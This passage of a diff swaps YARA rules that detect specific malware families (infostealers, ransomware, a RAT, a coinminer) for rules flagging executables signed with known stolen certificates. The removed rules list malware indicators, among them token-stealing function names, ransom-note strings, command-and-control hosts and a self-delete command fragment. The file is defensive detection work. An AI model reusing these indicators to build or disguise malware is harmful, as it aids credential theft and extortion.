-		modified = "2024-05-28"
+		id = "cbe10923-794e-50f0-bcc7-026ca2235836"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6541-L6551"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7043-L7054"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "10092e7916775fe0a39baa5714fdda89f443ceabdcc610cc1fcd5a0fb0e68d0c"
+		logic_hash = "5215f3e877ac4b37d33a29f9d2e92567db02f41f5fa1592d2de199ee06b43885"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "LOADER ERROR" fullword ascii
-		$s1 = "_ZN6curlpp10OptionBaseC2E10CURLoption" fullword ascii
-		$s2 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+		thumbprint = "59612473a9e23dc770f3a33b1ef83c02e3cfd4b6"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ADRIATIK PORT SERVIS, d.o.o." and pe.signatures[i].serial=="67:0c:34:94:20:6b:9f:0c:18:71:4f:dc:ff:aa:a4:2f")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Coinminer02 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5F11C47D3F8C468E5D38279De98078Ce : FILE
 {
 	meta:
-		description = "Detects coinmining malware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "1878a1b5-4e97-5575-802e-573caded2b3a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "d7ec5ceb-df6d-518c-977d-84ab2a40f6ed"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6553-L6571"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7056-L7067"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "83760aef667819923a2ac67c006e03bb6d4260b7a4aedd691dd5b145fb50d5c1"
+		logic_hash = "82db6d0b96303be79aa9a0980a4ce491a1216adbba65443e8e59c5cf69a4a1e4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "%s/%s (Windows NT %lu.%lu" fullword ascii
-		$s2 = "\\Microsoft\\Libs\\WR64.sys" wide
-		$s3 = "\\\\.\\WinRing0_" wide
-		$s4 = "pool_wallet" ascii
-		$s5 = "cryptonight" ascii
-		$s6 = "mining.submit" ascii
-		$c1 = "stratum+ssl://" ascii
-		$c2 = "daemon+http://" ascii
-		$c3 = "stratum+tcp://" ascii
-		$c4 = "socks5://" ascii
-		$c5 = "losedaemon+https://" ascii
+		thumbprint = "29bbee51837dbc00c8e949ff2c0226d4bbb3722c"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($s*) and 1 of ($c*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Atera Networks LTD." and pe.signatures[i].serial=="5f:11:c4:7d:3f:8c:46:8e:5d:38:27:9d:e9:80:78:ce")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Mercurial : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Bdb99D5Ecf8271D48E35F1039C2160Ef : FILE
 {
 	meta:
-		description = "Detects Mercurial infostealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c262ada2-01ca-5fc1-adef-987908514019"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a87a3295-fbdb-5501-97a1-7cb23009f925"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6573-L6593"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7069-L7083"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "400f8f717a4e07bf4de508c02bbcd9e82bf21f3df84c989fc622378f33e192f0"
+		logic_hash = "3a7fd1705d440306e7643167f46b0735bedab291e714cd01068be321f489e3f3"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "mercurial grabber" wide nocase
-		$x2 = "\"text\":\"Mercurial Grabber |" wide
-		$x3 = "/nightfallgt/mercurial-grabber" wide
-		$s1 = "/LimerBoy/Adamantium-Thief/" ascii
-		$s2 = "Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0" fullword wide
-		$s3 = "StealCookies" fullword ascii
-		$s4 = "StealPasswords" fullword ascii
-		$s5 = "DetectDebug" fullword ascii
-		$s6 = "CaptureScreen" fullword ascii
-		$s7 = "WebhookContent" fullword ascii
-		$s8 = /Grab(Token|Product|IP|Hardware)/ fullword ascii
-		$p1 = "[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}" fullword ascii wide
-		$p2 = "mfa\\.[\\w-]{84}" fullword ascii wide
+		thumbprint = "331f96a1a187723eaa5b72c9d0115c1c57f08b66"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) or 5 of ($s*) or ( all of ($p*) and 3 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Gavrilov Andrei Alekseevich" and (pe.signatures[i].serial=="bd:b9:9d:5e:cf:82:71:d4:8e:35:f1:03:9c:21:60:ef" or pe.signatures[i].serial=="00:bd:b9:9d:5e:cf:82:71:d4:8e:35:f1:03:9c:21:60:ef"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Phonzy : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_025020668F51235E9Ecfff8Cf00Da63E : FILE
 {
 	meta:
-		description = "Detects specific downloader agent"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d35f41e4-4633-5482-9ae4-79354463f1b9"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5b9af281-09b0-5df5-af3b-4868a7243636"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6595-L6608"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7085-L7096"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "924e7674d76594314df1a32d38f19cee12a3ed49cdf5e153f98bb08a7634055c"
+		logic_hash = "c99caf6ada228fe1229ea8e8ca0b160468f044a9a1e13ed9a83c12afeae337a1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$ua1 = "User-Agent: Mozilla/5.0 (X11; Linux" wide
-		$s1 = "<meta name=\"keywords\" content=\"([\\w\\d ]*)\">" fullword wide
-		$s2 = "WebClient" fullword ascii
-		$s3 = "WriteAllText" fullword ascii
-		$s4 = "DownloadString" fullword ascii
-		$s5 = "WriteByte" fullword ascii
+		thumbprint = "59f82837fa672a81841d8fa4d3ba290395c10200"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or (1 of ($ua*) and ($s1) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Knassar DK ApS" and pe.signatures[i].serial=="02:50:20:66:8f:51:23:5e:9e:cf:ff:8c:f0:0d:a6:3e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Hive : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Cfae7E6F538B9F2E : FILE
 {
 	meta:
-		description = "Detects Hive ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7b79dc54-01c7-5667-acf5-a32cd7a45b54"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "c144fe64-ad45-5ac6-b2ee-904a66230674"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6610-L6647"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7098-L7112"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "14c20ff2fa62d80eed0f4f364e24d93d493d4f3b47f664983714940afa74046f"
+		logic_hash = "23032d387bbfc81edb08982a196b90a136faf935d74c46771c59ef19095ac3a4"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$url1 = "http://hivecust" ascii
-		$url2 = "http://hiveleakdb" ascii
-		$s1 = "encrypt_files.go" ascii
-		$s2 = "erase_key.go" ascii
-		$s3 = "kill_processes.go" ascii
-		$s4 = "remove_shadow_copies.go" ascii
-		$s5 = "stop_services_windows.go" ascii
-		$s6 = "remove_itself_windows.go" ascii
-		$x1 = "/encryptor/" ascii
-		$x2 = "HOW_TO_DECRYPT.txt" ascii
-		$x3 = "FilesEncrypted" fullword ascii
-		$x4 = "EncryptionStarted" fullword ascii
-		$x5 = "encryptFilesGroup" fullword ascii
-		$x6 = "Your data will be undecryptable" ascii
-		$x7 = "- Do not fool yourself. Encryption has perfect secrecy" ascii
-		$v1_1 = ".EncryptFiles." ascii
-		$v1_2 = ".EncryptFilename." ascii
-		$v1_3 = ")*struct { F uintptr; .autotmp_14 string }" ascii
-		$v1_4 = "D*struct { F uintptr; data *[]uint8; seed *uint8; fnc *main.decFunc }" ascii
-		$v1_5 = "golang.org/x/sys/windows.getSystemWindowsDirectory" ascii
-		$v1_6 = "path/filepath.WalkDir" ascii
-		$v2_1 = "taskkill /f /im" ascii
-		$v2_2 = "schtasks /delete /tn" ascii
-		$v2_3 = "encfile.txt" ascii
-		$v2_4 = "README.html" ascii
-		$v2_5 = "total encrypt %v/%v" ascii
-		$v2_6 = "<b>ITSSHOWKEY</b>" ascii
-		$v2_7 = "Recovery your files." ascii
-		$v2_8 = "yaml:\"send_host\"" ascii
-		$v2_9 = "yaml:\"ignore_dir\"" ascii
+		thumbprint = "3152fc5298e42de08ed2dec23d8fefcaa531c771"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($url*) or all of ($s*) or 4 of ($x*) or 5 of ($v1*) or 5 of ($v2*) or (4 of ($v2*) and #v2_1>10))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SequenceDesigner" and (pe.signatures[i].serial=="cf:ae:7e:6f:53:8b:9f:2e" or pe.signatures[i].serial=="00:cf:ae:7e:6f:53:8b:9f:2e"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Spyro : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Bc9B800F480691Bd6B60963466B0C75 : FILE
 {
 	meta:
-		description = "Detects Spyro / VoidCrypt / Limbozar ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "8b3273c4-827e-50ce-983e-a5843f6b5a78"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "ff76c8b3-8120-54ed-90e1-3ee01e57895e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6649-L6675"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7114-L7125"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2e3be361f6d4283fd312a4486eaa39d6594813937cc3f62dbb603babeff17929"
+		logic_hash = "15143a6dc374f22252880ce61a419df46d81bc1ee99a29d03a61348f9c230064"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Decrypt-info.txt" ascii wide
-		$s2 = "AbolHidden" ascii wide
-		$s3 = "C:\\ProgramData\\prvkey" ascii wide
-		$s4 = ".?AV?$TF_CryptoSystemBase@VPK_Encryptor@CryptoPP" ascii
-		$s5 = "C:\\Users\\LEGION\\" ascii
-		$s6 = "C:\\ProgramData\\pkey.txt" fullword ascii
-		$s7 = ".Spyro" fullword ascii
-		$m1 = "Go to C:\\ProgramData\\ or in Your other Drives" wide
-		$m2 = "saving prvkey.txt.key file will cause" wide
-		$m3 = "in Case of no Answer:" wide
-		$m4 = "send us prvkey*.txt.key" wide
-		$m5 = "Somerhing went wrong while writing payload on disk" ascii
-		$m6 = "this country is forbidden.\"}" ascii
-		$c1 = "Voidcrypt/1.0" ascii
-		$c2 = "h1dd3n.cc" ascii
-		$c3 = "/voidcrypt/index.php" ascii
-		$c4 = "&user=" ascii
-		$c5 = "&disk-size=" ascii
-		$c6 = "unique-id=" ascii
+		thumbprint = "8b6c4fc3d54f41ac137795e64477491c93bdf7f1"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($s*) or 4 of ($c*) or 3 of ($m*) or 8 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HasCred ApS" and pe.signatures[i].serial=="0b:c9:b8:00:f4:80:69:1b:d6:b6:09:63:46:6b:0c:75")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Darkvnc : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_69Ad1E8B5941C93D5017B7C3Fdb8E7B6 : FILE
 {
 	meta:
-		description = "Detects DarkVNC"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3c7d215c-fcca-5a0f-b59c-d84fd894677a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "4b961b30-dc0d-513c-8a66-ed8fe71f5439"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6677-L6696"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7127-L7138"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b0dbde04c0a05e476d505b92cf7dbf3b4ef0dd9e88eafcd21b7a7d0e3623abbd"
+		logic_hash = "1a37133dcc7af9c3f229f517dca847d7c007b8a2fdc6af50721d68f68c5d9c20"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "USR-%s(%s)_%S-%S%u%u" fullword wide
-		$s2 = "BOT-%s(%s)_%S-%S%u%u" fullword wide
-		$s3 = "USR-UnicodeErr(Err)_%s-%s%u%u" fullword ascii
-		$s4 = "BOT-UnicodeErr(Err)_%s-%s%u%u" fullword ascii
-		$s5 = "PRM_STRG" fullword wide
-		$s6 = "bot_shell >" ascii
-		$s7 = "monitor_off / monitor_on" ascii
-		$s8 = "kbd_off / kbd_on" ascii
-		$s9 = "ActiveDll: Dll inject thread for process 0x%x terminated with status: %u" ascii
-		$s10 = "PsSup: File %s successfully started with parameter \"%s\"" ascii
-		$s11 = "PsSup: ShellExecute failed. File: %s, error %u" ascii
-		$s12 = "#hvnc" fullword ascii
+		thumbprint = "9b6f3b3cd33ae938fbc5c95b8c9239bac9f9f7bf"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Afia Wave Enterprises Oy" and pe.signatures[i].serial=="69:ad:1e:8b:59:41:c9:3d:50:17:b7:c3:fd:b8:e7:b6")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_RSJON : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_072472F2386F4608A0790Da2Be8A48F7 : FILE
 {
 	meta:
-		description = "Detects RSJON / Ryzerlo / HiddenTear ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7cc3e863-b594-51a9-9d41-68021ce3b97c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "79f1e6da-003a-5291-a60c-7693ca2efbeb"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6698-L6727"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7140-L7151"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "abfea2955bf0d0b0511ea820582cc15fbcfc38dbed71fb2a0050cd98a9311cda"
+		logic_hash = "32b61f42ee9f3109c747e8a159376d03349d8a5061be0c31504e929cb3c3042e"
 		score = 75
-		quality = 48
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$pdb1 = "C:\\Users\\brknc\\source\\repos\\" ascii
-		$pdb2 = "\\rs-jon\\obj\\Debug\\rs-jon.pdb" ascii
-		$pdb3 = "\\rs-jon\\obj\\Release\\rs-jon.pdb" ascii
-		$x1 = "READ_ME_PLZ.txt" wide
-		$x2 = "Files has been encrypted with rs-jon" wide
-		$x3 = ".rsjon" wide
-		$x4 = "bitcoins or kebab" wide
-		$x5 = /rs[-_]jon/ fullword ascii wide
-		$s1 = "SPIF_UPDATEINIFILE" fullword ascii
-		$s2 = "SPI_SETDESKWALLPAPER" fullword ascii
-		$s3 = "bytesToBeEncrypted" fullword ascii
-		$s4 = "SendPassword" fullword ascii
-		$s5 = "EncryptFile" ascii
-		$s6 = "fWinIni" fullword ascii
-		$s7 = "BTCAdress" fullword ascii
-		$s8 = "self_destruck" fullword ascii
-		$c1 = "?computer_name=" wide
-		$c2 = "&serialnumber=" wide
-		$c3 = "&password=" wide
-		$c4 = "&allow=ransom" wide
-		$c5 = "://darkjon.tk/" wide
-		$c6 = "/rnsm/write.php" wide
+		thumbprint = "e2a79e70b7a16a6fc2af7fbdc3d2cbfd3ef66978"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($x*) or 6 of ($s*) or 4 of ($c*) or (2 of ($c*) and 4 of ($s*)) or (1 of ($pdb*) and 1 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FOXIT SOFTWARE INC." and pe.signatures[i].serial=="07:24:72:f2:38:6f:46:08:a0:79:0d:a2:be:8a:48:f7")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Boxcaon : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Ea734E1Dfb6E69Ed2Bc55E513Bf95B5E : FILE
 {
 	meta:
-		description = "Detects IndigoZebra BoxCaon"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "becbde73-8b72-5e98-8684-87068ffff71b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "4e40ce70-d5d1-5719-bb43-40f860510093"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6729-L6746"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7153-L7168"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4f2f26e6678d49bfa5937511b1788a059ee10e1b5f19e53d6386199738a925a5"
+		logic_hash = "e2d07a2af36608d6eab6db85bcb968e486293239d0cfaeea7de2bb8223e58a29"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "<RetCMD null>" fullword wide
-		$s2 = "<txt null>" fullword wide
-		$s3 = "C:\\Users\\Public\\%d\\" fullword wide
-		$s4 = "api.dropboxapi.com" fullword wide
-		$s5 = "/2/files/upload" fullword wide
-		$ts1 = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" ascii wide
-		$ts2 = "%s /A /C \"%s\" > %s" ascii wide
-		$ts3 = "ersInfo" ascii wide
-		$ts4 = "%svmpid%d.log" ascii wide
-		$ts5 = "%scscode%d.log" ascii wide
+		thumbprint = "5ca53cc5c6dc47838bbba922ad217a468408a9bd"
+		hash1 = "293a83bfe2839bfa6d40fa52f5088e43b62791c08343c3f4dade4f1118000392"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and all of ($s*)) or all of ($ts*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Postmarket LLC" and (pe.signatures[i].serial=="00:ea:73:4e:1d:fb:6e:69:ed:2b:c5:5e:51:3b:f9:5b:5e" or pe.signatures[i].serial=="ea:73:4e:1d:fb:6e:69:ed:2b:c5:5e:51:3b:f9:5b:5e"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Avoslocker : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Dfa4F0Cff90319951B019A4681Ebd2A : FILE
 {
 	meta:
-		description = "Hunt for AvosLocker ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "390e57b2-207e-5013-899a-0b04aa63a56f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "bbb0be70-de74-5da9-80d2-2ba474b7f472"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6748-L6757"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7170-L7182"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "85601fdd13ddeb1fc0b8b98eb68e324046d60c1ae9467d083a75abebcb50e3a0"
+		logic_hash = "d89cda38cf6149c004f7d7b307243567768cba73bd49979d7d4f92f902ef4508"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "GET_YOUR_FILES_BACK.txt" ascii wide
-		$s2 = ".avos" fullword ascii wide
+		thumbprint = "b85aacac6afb0bef5b6f1d744cd8c278030e6a3e"
+		hash1 = "4eca4e0d3c06e4889917a473229b368bae02f0135f0ac68e937a72fca431ac8a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "deepinstruction O" and pe.signatures[i].serial=="0d:fa:4f:0c:ff:90:31:99:51:b0:19:a4:68:1e:bd:2a")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Diavol : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4D03Ae6512B85Eab4184Ca7F4Fa2E49C : FILE
 {
 	meta:
-		description = "Detects Diavol ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "df5cea04-505e-5009-b247-ba71b6d81ecc"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a7dc0a07-f295-5aff-9df0-71f27f0fe88c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6759-L6784"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7184-L7196"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bcc7a9dc2dcb12ded75af9d79ab0f46f0e69da9e9fe72539be6351306ed11c18"
+		logic_hash = "2cbeaf65b0d3340df08baf67134a2fe0b26921f2e35ce541884209e3ecddf233"
 		score = 75
-		quality = 48
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "README_FOR_DECRYPT.txt" ascii wide nocase
-		$s2 = ".lock64" fullword ascii wide
-		$s3 = "LockMainDIB" ascii wide
-		$s4 = "locker.divided" ascii wide
-		$s5 = "%tob_dic%/" wide
-		$s6 = "%cid_bot%" wide
-		$m1 = "GENBOTID" ascii wide
-		$m2 = "SHAPELISTS" ascii wide
-		$m3 = "REGISTER" ascii wide
-		$m4 = "FROMNET" ascii wide
-		$m5 = "SERVPROC" ascii wide
-		$m6 = "SMBFAST" ascii wide
-		$c1 = "/Bnyar8RsK04ug/" fullword ascii
-		$c2 = "/landing" fullword ascii
-		$c3 = "/wipe" fullword ascii
-		$c4 = "&ip_local1=111.111.111.111&ip_local2=222.222.222.222&ip_external=2.16.7.12" fullword ascii
-		$c5 = "&group=" fullword ascii
-		$c6 = "/BnpOnspQwtjCA/register" fullword ascii
+		thumbprint = "0215ff94a5c0d97db82e11f87e0dfb4318acac38"
+		hash1 = "18bf017bdd74e8e8f5db5a4dd7ec3409021c7b0d2f125f05d728f3b740132015"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (4 of ($s*) or 5 of ($m*) or 4 of ($c*) or 7 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Lenovo IdeaCentre" and pe.signatures[i].serial=="4d:03:ae:65:12:b8:5e:ab:41:84:ca:7f:4f:a2:e4:9c")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Margulasrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_333705C20B56E57F60B5Eb191Eef0D90 : FILE
 {
 	meta:
-		description = "Detects MargulasRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6efabf80-9194-542d-afd2-9bf9c8e26e55"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "e868c3ff-a701-59bd-9cd6-bf49305fe28a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6786-L6810"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7198-L7209"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dd5b94c947d97cdc34032f2cb84b4975a1e8f510638857fb6dbe553bcff7d16e"
+		logic_hash = "f5ca35381842a0ea7c319d8388753347a72fc6df746064e520794aeb4b6724d0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$pdb1 = "G:\\VP-S-Fin\\memory\\" ascii
-		$pdb2 = "G:\\VP-S-Fin\\Margulas\\" ascii
-		$pdb3 = "G:\\VP-S-Fin\\remote" ascii
-		$pdb4 = "G:\\VP-S-Fin\\" ascii
-		$s1 = "/C choice /C Y /N /D Y /T 1 & Del " fullword wide
-		$s2 = "strToHash" fullword ascii
-		$s3 = "\\socking" fullword wide
-		$s4 = "\\wininets" fullword wide
-		$s5 = "ClientSocket" fullword ascii
-		$s6 = "new Stream()" fullword wide
-		$s7 = "CipherText" fullword ascii
-		$s8 = "WriteAllBytes" fullword ascii
-		$s9 = { 00 50 72 6f 63 65 73 73 00 45 78 69 73 74 73 00}
-		$s10 = "pxR/THCwdLuruMmw8wB8xAUvbno1yPGBTOV9IoOkAp/n7+paQm74pkzlfSKDpAKfTOV9IoOkAp9M5X0ig6QCn0zlfSKDpAKfTOV9IoOkAp" wide
-		$c1 = "149.248.52.61" wide
-		$c2 = "://vpn.nic.in" wide
-		$c3 = "://www.mod.gov.in/dod/sites/default/files/" wide
+		thumbprint = "44f0f77d8b649579fa6f88ae9fa4b4206b90b120"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($pdb*) and (1 of ($c*) or 3 of ($s*))) or (1 of ($c*) and 3 of ($s*)) or (6 of ($s*)))
